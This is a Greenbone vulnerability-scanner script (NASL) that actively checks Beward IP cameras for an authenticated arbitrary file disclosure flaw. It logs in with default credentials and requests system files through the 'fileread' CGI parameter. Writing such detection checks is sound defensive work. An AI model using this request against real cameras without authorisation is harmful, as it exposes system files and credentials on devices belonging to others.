Beward IP Cameras Arbitrary File Disclosure Vulnerability (Feb 2019) - Active Check
🗓️ 18 Feb 2019 00:00:00Reported by Copyright (C) 2019 Greenbone AGType
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| zeroscience | www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5511.php |
# SPDX-FileCopyrightText: 2019 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.114073");
script_version("2025-09-12T05:38:45+0000");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:C/I:P/A:N");
script_tag(name:"last_modification", value:"2025-09-12 05:38:45 +0000 (Fri, 12 Sep 2025)");
script_tag(name:"creation_date", value:"2019-02-18 14:02:55 +0100 (Mon, 18 Feb 2019)");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2019 Greenbone AG");
script_family("Web application abuses");
script_name("Beward IP Cameras Arbitrary File Disclosure Vulnerability (Feb 2019) - Active Check");
script_dependencies("gb_beward_ip_camera_consolidation.nasl",
"gb_beward_ip_cameras_default_credentials.nasl", "os_detection.nasl");
script_require_ports("Services/www", 80);
script_mandatory_keys("beward/ip_camera/detected", "beward/ip_camera/credentials",
"Host/runs_unixoide");
script_xref(name:"URL", value:"https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5511.php");
script_tag(name:"summary", value:"The remote installation of Beward's IP camera software is prone
to a post-authentication arbitrary file disclosure vulnerability.");
script_tag(name:"impact", value:"This issue may be exploited by a remote attacker to
read any system file.");
script_tag(name:"insight", value:"Input passed via the 'READ.filePath' parameter in fileread
script is not properly verified before being used to read files. This can be exploited to disclose
the contents of arbitrary files via absolute path or via the SendCGICMD API.");
script_tag(name:"vuldetect", value:"Checks if the host responds with a simple requested file.");
script_tag(name:"affected", value:"At least versions M2.1.6.04C014 and before.");
script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
options are to upgrade to a newer release, disable respective features, remove the product or
replace the product by another one.");
script_tag(name:"solution_type", value:"WillNotFix");
script_tag(name:"qod_type", value:"remote_vul");
exit(0);
}
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
CPE = "cpe:/h:beward";
if(!info = get_app_port_from_cpe_prefix(cpe: CPE, service: "www"))
exit(0);
CPE = info["cpe"];
port = info["port"];
if(!get_app_location(cpe: CPE, port: port, nofork: TRUE)) # nb: To have a reference to the Detection-VT
exit(0);
creds = get_kb_list("beward/ip_camera/credentials");
if(!creds)
exit(0);
files = traversal_files("linux");
foreach cred(creds) {
foreach pattern(keys(files)) {
file = files[pattern];
url = "/cgi-bin/operator/fileread?READ.filePath=/" + file;
req = http_get_req(port: port, url: url, add_headers: make_array("Accept-Encoding", "gzip, deflate",
"Authorization", "Basic " + base64(str: cred)));
res = http_keepalive_send_recv(port: port, data: req);
if(egrep(string:res, pattern:pattern, icase:TRUE)) {
report = http_report_vuln_url(port: port, url: url);
report += '\nUsed default credentials for the login and the sent request: (username:password)\n' + cred;
security_message(port: port, data: report);
exit(0);
}
}
}
exit(99);
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